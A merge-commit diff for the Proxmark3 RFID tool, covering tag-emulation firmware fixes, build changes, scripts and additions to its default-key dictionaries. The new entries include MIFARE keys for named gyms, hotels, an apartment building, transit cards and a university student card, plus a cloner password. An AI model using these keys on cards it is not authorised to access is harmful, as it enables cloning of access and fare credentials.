Merge branch 'master' into patch-1

Signed-off-by: Iceman <iceman@iuse.se>
This commit is contained in:
Iceman 2024-07-04 15:30:56 +02:00 committed by GitHub
commit a907dc4b53
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
38 changed files with 1838 additions and 741 deletions

View file

@ -3,7 +3,17 @@ All notable changes to this project will be documented in this file.
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
## [unreleased][unreleased] ## [unreleased][unreleased]
- Change `lf hitag info` - now tries to identify different key fob emulators (@iceman1001) - Fixed a bad memory erase (@iceman1001)
- Fixed BT serial comms (@iceman1001)
- Changed `intertic.py` - updated and code clean up (@gentilkiwi)
- Added `pm3_tears_for_fears.py` - a ISO14443b tear off script by Pierre Granier
- Added new t55xx password (002BCFCF) sniffed from cheap cloner (@davidbeauchamp)
- Fixed 'hf 14b sim' - now works (@michi-jung)
## [Aurora.4.18589][2024-05-28]
- Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001)
- Changed `mem spiffs tree` - adapted to bigbuff and show if empty (@iceman1001)
- Changed `lf hitag info` - now tries to identify different key fob emulators (@iceman1001)
- Added `lf hitag reader` - act as a Hitag2 reader (@iceman1001) - Added `lf hitag reader` - act as a Hitag2 reader (@iceman1001)
- Fixed `lf hitag crack2` - now works. (@iceman1001) - Fixed `lf hitag crack2` - now works. (@iceman1001)
- Fixed wrong use of free() in desfire crypto on arm src, thanks @jlitewski! (@iceman1001) - Fixed wrong use of free() in desfire crypto on arm src, thanks @jlitewski! (@iceman1001)

View file

@ -41,7 +41,7 @@ void ModInfo(void) {
DbpString(" LF EM4100 simulator standalone mode"); DbpString(" LF EM4100 simulator standalone mode");
} }
static uint64_t rev_quads(uint64_t bits) { static uint64_t em4100emul_rev_quads(uint64_t bits) {
uint64_t result = 0; uint64_t result = 0;
for (int i = 0; i < 16; i++) { for (int i = 0; i < 16; i++) {
result += ((bits >> (60 - 4 * i)) & 0xf) << (4 * i); result += ((bits >> (60 - 4 * i)) & 0xf) << (4 * i);
@ -49,7 +49,7 @@ static uint64_t rev_quads(uint64_t bits) {
return result >> 24; return result >> 24;
} }
static void fill_buff(uint8_t bit) { static void em4100emul_fill_buff(uint8_t bit) {
uint8_t *bba = BigBuf_get_addr(); uint8_t *bba = BigBuf_get_addr();
memset(bba + em4100emul_buflen, bit, LF_CLOCK / 2); memset(bba + em4100emul_buflen, bit, LF_CLOCK / 2);
em4100emul_buflen += (LF_CLOCK / 2); em4100emul_buflen += (LF_CLOCK / 2);
@ -57,7 +57,7 @@ static void fill_buff(uint8_t bit) {
em4100emul_buflen += (LF_CLOCK / 2); em4100emul_buflen += (LF_CLOCK / 2);
} }
static void construct_EM410x_emul(uint64_t id) { static void em4100emul_construct_EM410x_emul(uint64_t id) {
int i, j; int i, j;
int binary[4] = {0, 0, 0, 0}; int binary[4] = {0, 0, 0, 0};
@ -65,24 +65,24 @@ static void construct_EM410x_emul(uint64_t id) {
em4100emul_buflen = 0; em4100emul_buflen = 0;
for (i = 0; i < 9; i++) for (i = 0; i < 9; i++)
fill_buff(1); em4100emul_fill_buff(1);
for (i = 0; i < 10; i++) { for (i = 0; i < 10; i++) {
for (j = 3; j >= 0; j--, id /= 2) for (j = 3; j >= 0; j--, id /= 2)
binary[j] = id % 2; binary[j] = id % 2;
for (j = 0; j < 4; j++) for (j = 0; j < 4; j++)
fill_buff(binary[j]); em4100emul_fill_buff(binary[j]);
fill_buff(binary[0] ^ binary[1] ^ binary[2] ^ binary[3]); em4100emul_fill_buff(binary[0] ^ binary[1] ^ binary[2] ^ binary[3]);
for (j = 0; j < 4; j++) for (j = 0; j < 4; j++)
parity[j] ^= binary[j]; parity[j] ^= binary[j];
} }
for (j = 0; j < 4; j++) for (j = 0; j < 4; j++)
fill_buff(parity[j]); em4100emul_fill_buff(parity[j]);
fill_buff(0); em4100emul_fill_buff(0);
} }
static void LED_Slot(int i) { static void LED_Slot(int i) {
@ -108,8 +108,18 @@ void RunMod(void) {
SpinDelay(100); SpinDelay(100);
SpinUp(100); SpinUp(100);
LED_Slot(selected); LED_Slot(selected);
construct_EM410x_emul(rev_quads(em4100emul_low[selected])); Dbprintf("Emulating 0x%010llX", em4100emul_low[selected]);
em4100emul_construct_EM410x_emul(em4100emul_rev_quads(em4100emul_low[selected]));
SimulateTagLowFrequency(em4100emul_buflen, 0, true); SimulateTagLowFrequency(em4100emul_buflen, 0, true);
//Exit! Button hold break
int button_pressed = BUTTON_HELD(500);
if (button_pressed == BUTTON_HOLD) {
Dbprintf("Button hold, Break!");
LEDsoff();
Dbprintf("[=] >> LF EM4100 simulator stopped due to button hold <<");
return; // RunMod end
}
selected = (selected + 1) % em4100emul_slots_count; selected = (selected + 1) % em4100emul_slots_count;
} }
} }

View file

@ -101,7 +101,8 @@ void Dbhexdump(int len, const uint8_t *d, bool bAsci) {
d += 16; d += 16;
} }
#endif #endif
}void print_result(const char *name, const uint8_t *d, size_t }
void print_result(const char *name, const uint8_t *d, size_t
n) { n) {

View file

@ -186,7 +186,7 @@
#endif #endif
// 4sample // 4sample
#define SEND4STUFFBIT(x) tosend_stuffbit(x);tosend_stuffbit(x);tosend_stuffbit(x);tosend_stuffbit(x); #define SEND4STUFFBIT(x) tosend_stuffbit(!(x));tosend_stuffbit(!(x));tosend_stuffbit(!(x));tosend_stuffbit(!(x));
static void iso14b_set_timeout(uint32_t timeout_etu); static void iso14b_set_timeout(uint32_t timeout_etu);
static void iso14b_set_maxframesize(uint16_t size); static void iso14b_set_maxframesize(uint16_t size);
@ -702,10 +702,11 @@ static void TransmitFor14443b_AsTag(const uint8_t *response, uint16_t len) {
// Signal field is off with the appropriate LED // Signal field is off with the appropriate LED
LED_D_OFF(); LED_D_OFF();
// TR0: min - 1024 cycles = 75.52 us - max 4096 cycles = 302.08 us
SpinDelayUs(76);
// Modulate BPSK // Modulate BPSK
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR | FPGA_HF_SIMULATOR_MODULATE_BPSK); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR | FPGA_HF_SIMULATOR_MODULATE_BPSK);
AT91C_BASE_SSC->SSC_THR = 0xFF;
FpgaSetupSsc(FPGA_MAJOR_MODE_HF_SIMULATOR);
// Transmit the response. // Transmit the response.
for (uint16_t i = 0; i < len;) { for (uint16_t i = 0; i < len;) {
@ -713,6 +714,11 @@ static void TransmitFor14443b_AsTag(const uint8_t *response, uint16_t len) {
// Put byte into tx holding register as soon as it is ready // Put byte into tx holding register as soon as it is ready
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) {
AT91C_BASE_SSC->SSC_THR = response[i++]; AT91C_BASE_SSC->SSC_THR = response[i++];
// Start-up SSC once first byte is in SSC_THR
if (i == 1) {
FpgaSetupSsc(FPGA_MAJOR_MODE_HF_SIMULATOR);
}
} }
} }
} }
@ -771,7 +777,7 @@ void SimulateIso14443bTag(const uint8_t *pupi) {
static const uint8_t respOK[] = {0x00, 0x78, 0xF0}; static const uint8_t respOK[] = {0x00, 0x78, 0xF0};
uint16_t len, cmdsReceived = 0; uint16_t len, cmdsReceived = 0;
int cardSTATE = SIM_NOFIELD; int cardSTATE = SIM_POWER_OFF;
int vHf = 0; // in mV int vHf = 0; // in mV
const tosend_t *ts = get_tosend(); const tosend_t *ts = get_tosend();
@ -801,16 +807,18 @@ void SimulateIso14443bTag(const uint8_t *pupi) {
} }
// find reader field // find reader field
if (cardSTATE == SIM_NOFIELD) {
vHf = (MAX_ADC_HF_VOLTAGE * SumAdc(ADC_CHAN_HF, 32)) >> 15; vHf = (MAX_ADC_HF_VOLTAGE * SumAdc(ADC_CHAN_HF, 32)) >> 15;
if (vHf > MF_MINFIELDV) { if (vHf > MF_MINFIELDV) {
if (cardSTATE == SIM_POWER_OFF) {
cardSTATE = SIM_IDLE; cardSTATE = SIM_IDLE;
LED_A_ON(); LED_A_ON();
} }
} else {
cardSTATE = SIM_POWER_OFF;
LED_A_OFF();
} }
if (cardSTATE == SIM_NOFIELD) { if (cardSTATE == SIM_POWER_OFF) {
continue; continue;
} }
@ -820,75 +828,87 @@ void SimulateIso14443bTag(const uint8_t *pupi) {
break; break;
} }
// ISO14443-B protocol states:
// REQ or WUP request in ANY state
// WUP in HALTED state
if (len == 5) {
if (((receivedCmd[0] == ISO14443B_REQB) && ((receivedCmd[2] & 0x08) == 0x08) && (cardSTATE == SIM_HALTED)) ||
(receivedCmd[0] == ISO14443B_REQB)) {
LogTrace(receivedCmd, len, 0, 0, NULL, true); LogTrace(receivedCmd, len, 0, 0, NULL, true);
cardSTATE = SIM_SELECTING;
}
}
/*
* How should this flow go?
* REQB or WUPB
* send response ( waiting for Attrib)
* ATTRIB
* send response ( waiting for commands 7816)
* HALT
send halt response ( waiting for wupb )
*/
if ((len == 5) && (receivedCmd[0] == ISO14443B_REQB) && (receivedCmd[2] & 0x08)) {
// WUPB
switch (cardSTATE) { switch (cardSTATE) {
//case SIM_NOFIELD: case SIM_IDLE:
case SIM_HALTED: case SIM_READY:
case SIM_IDLE: { case SIM_HALT: {
LogTrace(receivedCmd, len, 0, 0, NULL, true);
break;
}
case SIM_SELECTING: {
TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen); TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false); LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
cardSTATE = SIM_WORK; cardSTATE = SIM_READY;
break; break;
} }
case SIM_HALTING: { case SIM_ACTIVE:
TransmitFor14443b_AsTag(encodedOK, encodedOKLen); default: {
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false); TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
cardSTATE = SIM_HALTED; LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
break; break;
} }
case SIM_ACKNOWLEDGE: { }
TransmitFor14443b_AsTag(encodedOK, encodedOKLen); } else if ((len == 5) && (receivedCmd[0] == ISO14443B_REQB) && !(receivedCmd[2] & 0x08)) {
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false); // REQB
cardSTATE = SIM_IDLE; switch (cardSTATE) {
case SIM_IDLE:
case SIM_READY: {
TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
cardSTATE = SIM_READY;
break; break;
} }
case SIM_WORK: { case SIM_ACTIVE: {
if (len == 7 && receivedCmd[0] == ISO14443B_HALT) { TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
cardSTATE = SIM_HALTED; LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
} else if (len == 11 && receivedCmd[0] == ISO14443B_ATTRIB) {
cardSTATE = SIM_ACKNOWLEDGE;
} else {
// Todo:
// - SLOT MARKER
// - ISO7816
// - emulate with a memory dump
if (g_dbglevel >= DBG_DEBUG) {
Dbprintf("new cmd from reader: len=%d, cmdsRecvd=%d", len, cmdsReceived);
}
cardSTATE = SIM_IDLE;
}
break; break;
} }
case SIM_HALT:
default: { default: {
break; break;
} }
} }
} else if ((len == 7) && (receivedCmd[0] == ISO14443B_HALT)) {
// HLTB
switch (cardSTATE) {
case SIM_READY: {
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
cardSTATE = SIM_HALT;
break;
}
case SIM_IDLE:
case SIM_ACTIVE: {
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
break;
}
case SIM_HALT:
default: {
break;
}
}
} else if (len == 11 && receivedCmd[0] == ISO14443B_ATTRIB) {
// ATTRIB
switch (cardSTATE) {
case SIM_READY: {
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
cardSTATE = SIM_ACTIVE;
break;
}
case SIM_IDLE:
case SIM_ACTIVE: {
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
break;
}
case SIM_HALT:
default: {
break;
}
}
}
++cmdsReceived; ++cmdsReceived;
} }

View file

@ -49,12 +49,10 @@ void SniffIso14443b(void);
void SendRawCommand14443B(iso14b_raw_cmd_t *p); void SendRawCommand14443B(iso14b_raw_cmd_t *p);
// States for 14B SIM command // States for 14B SIM command
#define SIM_NOFIELD 0 #define SIM_POWER_OFF 0
#define SIM_IDLE 1 #define SIM_IDLE 1
#define SIM_HALTED 2 #define SIM_READY 2
#define SIM_SELECTING 3 #define SIM_HALT 3
#define SIM_HALTING 4 #define SIM_ACTIVE 4
#define SIM_ACKNOWLEDGE 5
#define SIM_WORK 6
#endif /* __ISO14443B_H */ #endif /* __ISO14443B_H */

View file

@ -134,10 +134,11 @@ void initSampleBuffer(uint32_t *sample_size) {
} }
void initSampleBufferEx(uint32_t *sample_size, bool use_malloc) { void initSampleBufferEx(uint32_t *sample_size, bool use_malloc) {
if (sample_size == NULL) { if (sample_size == NULL) {
Dbprintf("initSampleBufferEx, param NULL");
return; return;
} }
BigBuf_free_keep_EM(); BigBuf_free_keep_EM();
// We can't erase the buffer now, it would drastically delay the acquisition // We can't erase the buffer now, it would drastically delay the acquisition
@ -181,14 +182,26 @@ void logSampleSimple(uint8_t sample) {
void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg) { void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg) {
if (!data.buffer) return; if (!data.buffer) {
return;
}
// keep track of total gather samples regardless how many was discarded. // keep track of total gather samples regardless how many was discarded.
if (samples.counter-- == 0) return; if (samples.counter-- == 0) {
return;
}
if (bits_per_sample == 0) bits_per_sample = 1; if (bits_per_sample == 0) {
if (bits_per_sample > 8) bits_per_sample = 8; bits_per_sample = 1;
if (decimation == 0) decimation = 1; }
if (bits_per_sample > 8) {
bits_per_sample = 8;
}
if (decimation == 0) {
decimation = 1;
}
if (avg) { if (avg) {
samples.sum += sample; samples.sum += sample;
@ -198,7 +211,9 @@ void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool
if (decimation > 1) { if (decimation > 1) {
samples.dec_counter++; samples.dec_counter++;
if (samples.dec_counter < decimation) return; if (samples.dec_counter < decimation) {
return;
}
samples.dec_counter = 0; samples.dec_counter = 0;
} }
@ -542,7 +557,6 @@ out:
LED_D_OFF(); LED_D_OFF();
// DoAcquisition() end // DoAcquisition() end
StopTicks(); StopTicks();
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
return return_value; return return_value;

View file

@ -639,24 +639,32 @@ void rdv40_spiffs_safe_print_tree(void) {
struct spiffs_dirent e; struct spiffs_dirent e;
struct spiffs_dirent *pe = &e; struct spiffs_dirent *pe = &e;
char *resolvedlink = (char *)BigBuf_calloc(11 + SPIFFS_OBJ_NAME_LEN);
char *linkdest = (char *)BigBuf_calloc(SPIFFS_OBJ_NAME_LEN);
bool printed = false;
SPIFFS_opendir(&fs, "/", &d); SPIFFS_opendir(&fs, "/", &d);
while ((pe = SPIFFS_readdir(&d, pe))) { while ((pe = SPIFFS_readdir(&d, pe))) {
char resolvedlink[11 + SPIFFS_OBJ_NAME_LEN]; memset(resolvedlink, 0, 11 + SPIFFS_OBJ_NAME_LEN);
if (rdv40_spiffs_is_symlink((const char *)pe->name)) { if (rdv40_spiffs_is_symlink((const char *)pe->name)) {
char linkdest[SPIFFS_OBJ_NAME_LEN];
read_from_spiffs((char *)pe->name, (uint8_t *)linkdest, SPIFFS_OBJ_NAME_LEN); read_from_spiffs((char *)pe->name, (uint8_t *)linkdest, SPIFFS_OBJ_NAME_LEN);
sprintf(resolvedlink, "(.lnk) --> %s", linkdest); sprintf(resolvedlink, "(.lnk) --> %s", linkdest);
// Kind of stripping the .lnk extension // Kind of stripping the .lnk extension
strtok((char *)pe->name, "."); strtok((char *)pe->name, ".");
} else {
memset(resolvedlink, 0, sizeof(resolvedlink));
} }
Dbprintf("[%04x]\t " _YELLOW_("%i") " B |-- %s%s", pe->obj_id, pe->size, pe->name, resolvedlink); Dbprintf("[%04x] " _YELLOW_("%5i") " B |-- %s%s", pe->obj_id, pe->size, pe->name, resolvedlink);
printed = true;
}
if (printed == false) {
DbpString("<empty>");
} }
SPIFFS_closedir(&d); SPIFFS_closedir(&d);
rdv40_spiffs_lazy_mount_rollback(changed); rdv40_spiffs_lazy_mount_rollback(changed);
BigBuf_free();
} }
void rdv40_spiffs_safe_wipe(void) { void rdv40_spiffs_safe_wipe(void) {

View file

@ -307,7 +307,7 @@ E3429281EFC1
# EPI Envisionte # EPI Envisionte
AAFB06045877 AAFB06045877
# #
# gym # Gyms / Fitness Clubs / Health Clubs / Wellness Centres
# #
# Fysiken A # Fysiken A
3E65E4FB65B3 3E65E4FB65B3
@ -318,8 +318,8 @@ AAFB06045877
# #
# https://mattionline.de/fitnessstudio-armband-reverse-engineering/ # https://mattionline.de/fitnessstudio-armband-reverse-engineering/
# https://mattionline.de/milazycracker/ # https://mattionline.de/milazycracker/
# gym wistband A, same as Fysiken A # Gym Wristband A - Same as Fysiken A
# gym wistband B # Gym Wristband B
81CC25EBBB6A 81CC25EBBB6A
195DC63DB3A3 195DC63DB3A3
# #
@ -330,10 +330,14 @@ A05DBD98E0FC
AA4DDA458EBB AA4DDA458EBB
EAB8066C7479 EAB8066C7479
# #
# Nordic Wellness A, same as Fysiken A # Nordic Wellness A - Same as Fysiken A
# Nordic Wellness B # Nordic Wellness B
E5519E1CC92B E5519E1CC92B
# #
# Jett's 24 Hour Fitness S0 KA/B
# 049979614077
# 829338771705
#
# Hotel KeyCard # Hotel KeyCard
D3B595E9DD63 D3B595E9DD63
AFBECD121004 AFBECD121004
@ -1110,6 +1114,14 @@ EA0FD73CB149
FC0001877BF7 FC0001877BF7
FD8705E721B0 FD8705E721B0
00ADA2CD516D 00ADA2CD516D
518108E061E2
558AAD64EB5B
001122334455
6CA761AB6CA7
B1C4A8F7F6E3
FF75AFDA5A3C
FCDDF7767C10
A6B3F6C8F1D4
# #
# #
237A4D0D9119 237A4D0D9119
@ -2345,9 +2357,8 @@ EA0CA627FD06
# Hotel key # Hotel key
CE0F4F15E909 CE0F4F15E909
D60DE9436219 D60DE9436219
#
# ATM Area de Girona, spanish transport card # ATM Area de Girona, spanish transport card
A01000000000 A01000000000
A02000000000 A02000000000
A03000000000 A03000000000
@ -2363,7 +2374,6 @@ A12000000000
A13000000000 A13000000000
A14000000000 A14000000000
A15000000000 A15000000000
B01000000000 B01000000000
B02000000000 B02000000000
B03000000000 B03000000000
@ -2379,7 +2389,7 @@ B12000000000
B13000000000 B13000000000
B14000000000 B14000000000
B15000000000 B15000000000
#
# Pittsburgh, PA, USA - Pittsburgh Regional Transit ConnectCard # Pittsburgh, PA, USA - Pittsburgh Regional Transit ConnectCard
A7AE4A5A33DC A7AE4A5A33DC
6B857B568C10 6B857B568C10
@ -2413,14 +2423,14 @@ CE8BFF3728EE
09938D05DA78 09938D05DA78
EACDA4DBE420 EACDA4DBE420
EC2B9FD483CA EC2B9FD483CA
#
# Hotel Intelier Orange - Benicasim, Spain # Hotel Intelier Orange - Benicasim, Spain
# block 1 - key A # block 1 - key A
04256CFE0425 04256CFE0425
#
# InsideWash Membership Card - Portugal # InsideWash Membership Card - Portugal
C18063858BB9 C18063858BB9
#
# An apartment building in Sydney Olympic Park # An apartment building in Sydney Olympic Park
13254608D0AB 13254608D0AB
24A2971BC0B2 24A2971BC0B2
@ -2454,3 +2464,24 @@ C18063858BB9
32B0A529CEC0 32B0A529CEC0
22345517DFBA 22345517DFBA
33B1A62ACFC1 33B1A62ACFC1
#
# Universidade de São Paulo (USP) student card
17B50E38F1B0
24E311F594CE
3794FBFB1A54
43B229069F6A
4531952F765F
4943F2F35E0A
4985E681EF88
4F56C88E0337
710070E92C79
8A036C5C35D4
A027BD830A06
D33673C19243
D89A506542F2
E5813CD228F1
FAB943906E9C
#
# R.A.T.T transport card key A/B
AA034F342A55
456776908C48

View file

@ -5,6 +5,8 @@
51243648 51243648
000D8787 000D8787
19920427 19920427
# White Chinese cloner, circa 2019, firmware v5.04.16.0727 (eBay)
002BCFCF
# ZX-copy3 T55xx / EM4305 # ZX-copy3 T55xx / EM4305
# ref. http://www.proxmark.org/forum/viewtopic.php?pid=40662#p40662 # ref. http://www.proxmark.org/forum/viewtopic.php?pid=40662#p40662
# default PROX # default PROX

View file

@ -46,6 +46,7 @@ endif()
find_package(PkgConfig) find_package(PkgConfig)
if (NOT SKIPQT EQUAL 1) if (NOT SKIPQT EQUAL 1)
if(APPLE AND EXISTS /usr/local/opt/qt5) if(APPLE AND EXISTS /usr/local/opt/qt5)
# Homebrew installs Qt5 (up to at least 5.11.0) in # Homebrew installs Qt5 (up to at least 5.11.0) in
# /usr/local/opt/qt5. Ensure that it can be found by CMake # /usr/local/opt/qt5. Ensure that it can be found by CMake
@ -56,16 +57,17 @@ if (NOT SKIPQT EQUAL 1)
# e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS}) # e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS})
list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /usr/local/opt/qt5) list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /usr/local/opt/qt5)
endif(APPLE AND EXISTS /usr/local/opt/qt5) endif(APPLE AND EXISTS /usr/local/opt/qt5)
if(APPLE AND EXISTS /opt/homebrew/opt/qt5)
if(APPLE AND EXISTS /opt/homebrew/opt/qt@5)
# Homebrew on Apple Silicon installs Qt5 in # Homebrew on Apple Silicon installs Qt5 in
# /opt/homebrew/opt/qt5. Ensure that it can be found by CMake # /opt/homebrew/opt/qt@5. Ensure that it can be found by CMake
# since it is not in the default /usr/local prefix. # since it is not in the default /usr/local prefix.
# Add it to PATHS so that it doesn't override the # Add it to PATHS so that it doesn't override the
# CMAKE_PREFIX_PATH environment variable. # CMAKE_PREFIX_PATH environment variable.
# QT_FIND_PACKAGE_OPTIONS should be passed to find_package, # QT_FIND_PACKAGE_OPTIONS should be passed to find_package,
# e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS}) # e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS})
list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /opt/homebrew/opt/qt5) list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /opt/homebrew/opt/qt@5)
endif(APPLE AND EXISTS /opt/homebrew/opt/qt5) endif(APPLE AND EXISTS /opt/homebrew/opt/qt@5)
set(QT_PACKAGELIST set(QT_PACKAGELIST
Qt5Core Qt5Core
Qt5Widgets Qt5Widgets
@ -262,6 +264,7 @@ set (TARGET_SOURCES
${PM3_ROOT}/common/cardhelper.c ${PM3_ROOT}/common/cardhelper.c
${PM3_ROOT}/common/generator.c ${PM3_ROOT}/common/generator.c
${PM3_ROOT}/common/bruteforce.c ${PM3_ROOT}/common/bruteforce.c
${PM3_ROOT}/common/hitag2/hitag2_crypto.c
${PM3_ROOT}/client/src/crypto/asn1dump.c ${PM3_ROOT}/client/src/crypto/asn1dump.c
${PM3_ROOT}/client/src/crypto/asn1utils.c ${PM3_ROOT}/client/src/crypto/asn1utils.c
${PM3_ROOT}/client/src/crypto/libpcrypto.c ${PM3_ROOT}/client/src/crypto/libpcrypto.c
@ -455,7 +458,6 @@ if (APPLE)
message(STATUS "AppKit.framework found! ${APPKIT_LIBRARY}") message(STATUS "AppKit.framework found! ${APPKIT_LIBRARY}")
set(ADDITIONAL_LNK "-framework Foundation" "-framework AppKit") set(ADDITIONAL_LNK "-framework Foundation" "-framework AppKit")
endif() endif()
endif (APPLE) endif (APPLE)
if ((NOT SKIPQT EQUAL 1) AND (Qt5_FOUND)) if ((NOT SKIPQT EQUAL 1) AND (Qt5_FOUND))
@ -675,6 +677,8 @@ if (NOT SKIPPYTHON EQUAL 1)
endif (NOT SKIPPYTHON EQUAL 1) endif (NOT SKIPPYTHON EQUAL 1)
message(STATUS "===================================================================") message(STATUS "===================================================================")
add_definitions(-DHAVE_SNPRINTF)
add_library(pm3rrg_rdv4 SHARED add_library(pm3rrg_rdv4 SHARED
${PM3_ROOT}/client/src/proxmark3.c ${PM3_ROOT}/client/src/proxmark3.c
${TARGET_SOURCES} ${TARGET_SOURCES}
@ -733,6 +737,9 @@ target_include_directories(pm3rrg_rdv4 PRIVATE
if (NOT APPLE) if (NOT APPLE)
# required for Raspberry Pi, but breaks with clang (OSX). Need to be at the end of the linker line. # required for Raspberry Pi, but breaks with clang (OSX). Need to be at the end of the linker line.
set(ADDITIONAL_LNK ${ADDITIONAL_LNK} -Wl,--as-needed -latomic -Wl,--no-as-needed) set(ADDITIONAL_LNK ${ADDITIONAL_LNK} -Wl,--as-needed -latomic -Wl,--no-as-needed)
else (NOT APPLE)
#set_property(TARGET proxmark3 PROPERTY LINK_FLAGS "-Wl,-undefined dynamic_lookup")
set(ADDITIONAL_LNK ${ADDITIONAL_LNK} -Wl,-undefined,dynamic_lookup)
endif (NOT APPLE) endif (NOT APPLE)
if (NOT JANSSON_FOUND) if (NOT JANSSON_FOUND)

View file

@ -167,12 +167,11 @@ local function help()
print(ansicolors.cyan..'Example usage'..ansicolors.reset) print(ansicolors.cyan..'Example usage'..ansicolors.reset)
print(example) print(example)
end end
-- read LEGIC data -- read LEGIC info
local function readlegicdata(offset, len, iv) local function readlegicinfo()
-- Read data -- Read data
local d0 = ('%04X%04X%02X'):format(offset, len, iv) local c = Command:newNG{cmd = cmds.CMD_HF_LEGIC_INFO, data = nil}
local c = Command:newNG{cmd = cmds.CMD_HF_LEGIC_READER, data = d0} local result, err = c:sendNG(false, 2000)
local result, err = c:sendNG()
if not result then return oops(err) end if not result then return oops(err) end
-- result is a packed data structure, data starts at offset 33 -- result is a packed data structure, data starts at offset 33
return result return result
@ -404,15 +403,15 @@ local function writeToTag(plainBytes)
return return
end end
readbytes = readlegicdata(0, 4, 0x55) readbytes = readlegicinfo()
-- gather MCD & MSN from new Tag - this must be enterd manually -- gather MCD & MSN from new Tag - this must be enterd manually
print("\nthese are the MCD MSN0 MSN1 MSN2 from the Tag that has being read:") print("\nthese are the MCD MSN0 MSN1 MSN2 from the Tag that has being read:")
-- readbytes is a usbcommandOLD package, hence 32 bytes offset until data. -- readbytes is a table with uid data as hex string in Data key
plainBytes[1] = ('%02x'):format(readbytes:byte(33)) plainBytes[1] = readbytes.Data:sub(1,2)
plainBytes[2] = ('%02x'):format(readbytes:byte(34)) plainBytes[2] = readbytes.Data:sub(3,4)
plainBytes[3] = ('%02x'):format(readbytes:byte(35)) plainBytes[3] = readbytes.Data:sub(5,6)
plainBytes[4] = ('%02x'):format(readbytes:byte(36)) plainBytes[4] = readbytes.Data:sub(7,8)
MCD = plainBytes[1] MCD = plainBytes[1]
MSN0 = plainBytes[2] MSN0 = plainBytes[2]

View file

@ -21,10 +21,14 @@ import sys, os
from datetime import datetime, timedelta from datetime import datetime, timedelta
from bitarray import bitarray from bitarray import bitarray
from bitarray.util import ba2int from bitarray.util import ba2int
from typing import NamedTuple
class BitMe: class BitMe:
def __init__(self): def __init__(self):
self.data = bitarray() self.data = bitarray(endian = 'big')
self.idx = 0
def reset(self):
self.idx = 0 self.idx = 0
def addBits(self, bits): def addBits(self, bits):
@ -47,61 +51,233 @@ class BitMe:
def isEmpty(self): def isEmpty(self):
return (len(self.data) == 0) return (len(self.data) == 0)
'''
A generic Describe_Usage function with variable number of bits between stamps will be more optimal
At this time I want to keep more places/functions to try to parse other fields in 'unk1' and 'left'
'''
TYPE_EventCode_Nature = {
0x1: 'urban bus',
0x2: 'interurban bus',
0x3: 'metro',
0x4: 'tramway',
0x5: 'train',
0x8: 'parking',
}
TYPE_EventCode_Type = {
0x1: 'entry validation',
0x2: 'exit validation',
0x4: 'ticket inspecting',
0x6: 'connection entry validation',
0x14: 'test validation',
0x15: 'connection exit validation',
0x16: 'canceled validation',
0x17: 'invalidation',
0x18: 'distribution',
}
TYPE_EventGeoRoute_Direction = {
0: 'undefined',
1: 'outward',
2: 'inward',
3: 'circular',
}
def Describe_Usage_1(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk = Usage.nom_bits(65)
EventValidityTimeFirstStamp = Usage.nom(11)
print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d')));
print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60))
print(' unk1... :', unk);
print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60))
print(' left... :', Usage.nom_bits_left());
print(' [CER] Usage : {:04x}'.format(Certificate.nom(16)))
def Describe_Usage_1_1(Usage, ContractMediumEndDate, Certificate):
EventDateStamp = Usage.nom(10)
EventTimeStamp = Usage.nom(11)
unk0 = Usage.nom_bits(8)
EventCode_Nature = Usage.nom(5)
EventCode_Type = Usage.nom(5)
unk1 = Usage.nom_bits(11)
EventGeoVehicleId = Usage.nom(16)
EventGeoRouteId = Usage.nom(14)
EventGeoRoute_Direction = Usage.nom(2)
